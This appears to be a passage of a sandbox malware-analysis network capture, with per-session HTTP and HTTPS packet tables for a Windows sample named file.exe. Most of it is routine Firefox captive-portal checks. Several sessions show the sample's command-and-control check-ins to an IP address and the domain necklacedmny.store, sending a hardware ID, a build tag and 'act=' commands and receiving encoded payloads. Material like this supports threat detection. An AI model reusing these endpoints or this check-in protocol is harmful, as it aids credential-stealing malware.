Oct 30, 2024 05:26:33.672413111 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52936 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:33.965728998 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:34.092461109 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52937 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:34.231878996 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:34.358134031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52937 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:34.858903885 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:34.985383034 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52937 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:36.909172058 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:37.036178112 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52939 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:39.616751909 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:39.743505001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52942 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 05:26:49.758989096 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 30, 2024 05:26:50.389784098 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:50.516233921 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52953 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	50112	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:33.243386984 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	50115	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:33.449897051 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	50119	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:33.747617006 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50120	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:34.101639032 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50122	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:34.430613041 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50123	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:35.025074005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:35.612340927 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43864 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:37.047276974 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:37.170437098 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43866 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:39.761220932 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:39.884423971 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43868 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:49.890585899 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 30, 2024 05:26:50.519660950 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:50.642565012 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43879 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50125	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:36.119827986 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 05:26:37.060712099 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 05:26:37.066019058 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="build"tale------BFIDGDAKFHIEHJKFHDHD--
Oct 30, 2024 05:26:37.368268013 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:07 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 04:24:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 04:24:07 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lot2g1t5e7ai5jaft8pdiefd8h; expires=Sat, 22 Feb 2025 22:10:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7fubqDOxo3js7ID0sPZPZwrm%2F%2FNwB7FgGz7HfEpOz4BhuzUtXMo%2BXUwQ9A93eBZ2%2Bg9pFgi0junT6Qyo59ia1h7kN83ft38A%2BO7MKIujZz73X3bXcEUQWPWrnkLBjXveAbspMHc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a245cc6f0bfb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1158&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2439764&cwnd=32&unsent_bytes=0&cid=1da0688276821ede&ts=774&x=0"
2024-10-30 04:24:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 04:24:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 04:24:08 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 04:24:09 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ea1m7ank2cdb66hhvlai6nkv53; expires=Sat, 22 Feb 2025 22:10:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rnhu7kQ72Dg2rf8naPKOTnmbA78ILTTGqUJuQoXGsoD7UlKbrDdHua4Lmu6P2lRgDIMOTvGdLsHMylu2zlyWFRo%2BHOY7HpDtuqfTfMb9QyOyINN7%2BMD5zDDTWS0iBoNfADovsNA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a24e5bf6eb06-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1121&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2175807&cwnd=251&unsent_bytes=0&cid=28276492002d39b3&ts=489&x=0"
2024-10-30 04:24:09 UTC	358	IN	Data Raw: 34 64 63 0d 0a 36 38 2f 71 42 6e 49 66 55 78 45 43 78 7a 69 50 45 72 6f 4d 34 79 6e 61 66 65 4c 6f 2f 2b 33 46 51 48 5a 42 47 45 79 61 51 70 2b 51 37 5a 77 6b 53 43 74 2f 4d 33 47 69 47 72 56 6d 79 48 6d 47 42 66 67 63 68 73 72 46 69 36 51 73 42 53 51 30 62 75 77 76 76 64 47 70 69 32 6f 42 65 6e 38 7a 5a 37 38 61 74 55 6e 42 4c 6f 5a 48 2b 45 66 41 6a 5a 57 50 70 43 77 55 49 48 4d 6a 36 69 37 38 67 36 4f 4e 62 68 64 38 4e 33 42 75 71 6c 33 71 64 39 74 6d 6a 55 43 33 46 59 2f 4b 30 38 2b 67 4f 6c 52 37 4f 67 48 2f 4e 76 36 6d 72 70 6c 74 55 47 4a 2f 61 69 43 69 56 71 30 6f 6d 47 32 47 53 37 59 62 68 6f 4f 58 68 61 30 6b 46 53 56 79 50 50 4d 6b 39 34 4f 74 6a 6d 38 64 64 53 4e 39 5a 4b 31 57 37 48 33 62 4c 73 38 4c 76 77 66 41 30 74 33 63 6c 53 45 46 4d 6d Data Ascii: 4dc68/qBnIfUxECxziPEroM4ynafeLo/+3FQHZBGEyaQp+Q7ZwkSCt/M3GiGrVmyHmGBfgchsrFi6QsBSQ0buwvvdGpi2oBen8zZ78atUnBLoZH+EfAjZWPpCwUIHMj6i78g6ONbhd8N3Buql3qd9tmjUC3FY/K08+gOlR7OgH/Nv6mrpltUGJ/aiCiVq0omG2GS7YbhoOXha0kFSVyPPMk94Otjm8ddSN9ZK1W7H3bLs8LvwfA0t3clSEFMm
2024-10-30 04:24:09 UTC	893	IN	Data Raw: 4b 35 52 36 47 4c 54 5a 34 78 47 75 42 4b 4b 68 5a 36 50 6f 43 67 65 4c 48 41 71 39 53 33 37 69 61 33 49 4b 6c 42 36 4b 54 4d 34 35 58 6e 6f 59 4e 39 69 6c 77 6d 43 58 35 2f 45 68 4d 2b 67 4c 6c 52 37 4f 69 62 39 49 2f 36 43 6f 6f 74 73 47 32 38 78 59 57 61 6f 58 2f 39 32 33 57 43 4c 53 4b 6f 56 6a 6f 79 65 68 71 77 72 45 53 52 2b 62 72 5a 67 2b 70 48 74 30 43 51 78 63 44 70 2f 61 72 4a 61 72 57 2b 57 64 38 46 4d 74 46 2f 59 79 70 6d 4f 6f 79 4d 51 4c 58 51 71 39 43 62 7a 68 4b 4b 4f 62 68 42 36 4f 33 74 6f 70 46 66 6d 66 39 68 72 6a 45 2b 2b 45 34 47 50 33 63 48 6e 4a 51 78 6a 49 6d 37 57 4a 2f 36 62 37 37 31 6e 48 6e 4d 32 5a 53 43 36 46 50 51 77 33 32 4c 42 45 2f 67 52 68 59 57 50 6a 72 55 6e 47 6a 46 32 4b 2f 34 74 2f 6f 65 74 6a 57 4d 64 63 7a 64 30 Data Ascii: K5R6GLTZ4xGuBKKhZ6PoCgeLHAq9S37ia3IKlB6KTM45XnoYN9ilwmCX5/EhM+gLlR7Oib9I/6CootsG28xYWaoX/923WCLSKoVjoyehqwrESR+brZg+pHt0CQxcDp/arJarW+Wd8FMtF/YypmOoyMQLXQq9CbzhKKObhB6O3topFfmf9hrjE++E4GP3cHnJQxjIm7WJ/6b771nHnM2ZSC6FPQw32LBE/gRhYWPjrUnGjF2K/4t/oetjWMdczd0
2024-10-30 04:24:09 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 63 44 35 36 61 61 78 49 35 33 7a 57 66 49 78 42 76 52 47 4d 6a 35 4b 50 70 69 4d 61 4b 58 46 75 74 6d 44 36 6b 65 33 51 4a 44 39 77 49 57 46 71 72 6b 75 76 52 64 74 67 6a 30 79 75 58 35 2f 45 68 4d 2b 67 4c 6c 52 37 4f 69 58 2b 4c 50 47 4a 71 35 70 71 48 32 38 37 59 57 53 72 58 75 46 2b 30 57 4f 4f 54 71 6f 62 67 4a 69 63 69 71 41 73 47 54 46 2f 62 72 5a 67 2b 70 48 74 30 43 51 71 53 54 5a 6a 63 61 49 59 32 48 50 57 59 49 5a 64 2b 41 44 4f 6b 39 32 49 71 32 4a 4d 59 33 6b 69 39 53 6e 34 68 72 2b 43 61 42 46 76 4e 6e 70 70 72 31 76 6a 66 39 4e 69 68 46 6d 7a 45 49 69 46 6e 49 4b 71 4b 52 41 6a 4f 6d 43 34 4a 2b 58 4a 39 63 68 46 48 58 49 6a 63 48 48 6e 62 2b 35 2b 31 6d 6d 58 43 36 64 52 6d 63 71 61 67 2b 64 36 56 43 4a 32 49 76 6b 76 2b Data Ascii: 3f90cD56aaxI53zWfIxBvRGMj5KPpiMaKXFutmD6ke3QJD9wIWFqrkuvRdtgj0yuX5/EhM+gLlR7OiX+LPGJq5pqH287YWSrXuF+0WOOTqobgJiciqAsGTF/brZg+pHt0CQqSTZjcaIY2HPWYIZd+ADOk92Iq2JMY3ki9Sn4hr+CaBFvNnppr1vjf9NihFmzEIiFnIKqKRAjOmC4J+XJ9chFHXIjcHHnb+5+1mmXC6dRmcqag+d6VCJ2Ivkv+
2024-10-30 04:24:09 UTC	1369	IN	Data Raw: 76 47 33 6b 31 63 32 32 75 56 4f 4e 35 31 47 61 4e 54 4b 6f 53 68 59 4b 58 68 71 49 75 47 53 42 6f 4c 66 6c 67 73 38 6d 71 6b 43 52 49 50 52 5a 41 56 34 59 61 38 6a 37 42 4c 6f 5a 48 2b 45 66 41 69 35 57 49 71 53 59 47 4c 57 67 67 2f 79 44 37 67 61 57 50 61 42 35 7a 49 33 74 68 70 56 54 69 65 4e 46 71 67 45 2b 38 45 34 66 4b 30 38 2b 67 4f 6c 52 37 4f 67 62 37 4f 75 66 4c 67 34 4e 6b 46 32 30 6e 61 43 43 36 46 50 51 77 33 32 4c 42 45 2f 67 62 69 34 43 55 6a 4b 34 6d 47 53 4e 7a 49 66 45 6f 38 49 47 2f 69 57 34 43 65 54 52 79 62 36 39 65 35 58 7a 58 59 6f 56 5a 73 31 2f 4f 79 70 71 58 35 33 70 55 41 33 45 34 32 7a 4c 76 79 62 4c 47 66 56 42 36 50 54 4d 34 35 56 50 68 63 64 6c 6b 68 30 43 39 45 6f 43 50 6c 34 69 72 49 68 51 67 66 43 6a 31 4b 50 57 46 6f 59 Data Ascii: vG3k1c22uVON51GaNTKoShYKXhqIuGSBoLflgs8mqkCRIPRZAV4Ya8j7BLoZH+EfAi5WIqSYGLWgg/yD7gaWPaB5zI3thpVTieNFqgE+8E4fK08+gOlR7Ogb7OufLg4NkF20naCC6FPQw32LBE/gbi4CUjK4mGSNzIfEo8IG/iW4CeTRyb69e5XzXYoVZs1/OypqX53pUA3E42zLvybLGfVB6PTM45VPhcdlkh0C9EoCPl4irIhQgfCj1KPWFoY
2024-10-30 04:24:09 UTC	1369	IN	Data Raw: 4f 58 68 6d 71 31 76 72 66 4e 55 75 7a 77 75 2f 42 38 44 53 33 61 69 39 4c 78 49 30 61 78 76 2f 49 4b 7a 4a 73 73 5a 39 55 48 6f 39 4d 7a 6a 6c 56 2b 46 36 31 57 75 46 51 37 38 63 67 59 61 5a 67 71 6f 6d 48 53 64 2f 50 4f 6f 6d 38 34 6d 69 68 6d 73 63 62 7a 39 32 59 4b 6b 61 6f 7a 44 66 64 73 45 54 2b 43 36 58 69 74 32 51 36 54 74 55 4a 48 5a 75 6f 47 44 79 68 4c 2b 45 61 78 42 38 4d 6e 64 72 6f 6c 7a 72 63 64 74 72 67 6b 36 2b 48 6f 43 47 6c 34 69 76 4b 42 6f 75 66 43 72 2b 4a 72 33 48 37 59 39 38 55 43 56 78 51 57 32 72 55 2b 35 32 31 58 69 70 65 76 67 41 7a 70 50 64 69 4b 74 69 54 47 4e 2b 4a 66 41 73 2b 49 47 6f 69 57 77 61 64 54 35 38 63 71 52 56 35 48 66 54 59 34 35 46 76 52 47 53 6a 5a 61 45 72 79 73 61 4a 54 70 67 75 43 66 6c 79 66 58 49 55 68 4e Data Ascii: OXhmq1vrfNUuzwu/B8DS3ai9LxI0axv/IKzJssZ9UHo9MzjlV+F61WuFQ78cgYaZgqomHSd/POom84mihmscbz92YKkaozDfdsET+C6Xit2Q6TtUJHZuoGDyhL+EaxB8Mndrolzrcdtrgk6+HoCGl4ivKBoufCr+Jr3H7Y98UCVxQW2rU+521XipevgAzpPdiKtiTGN+JfAs+IGoiWwadT58cqRV5HfTY45FvRGSjZaErysaJTpguCflyfXIUhN
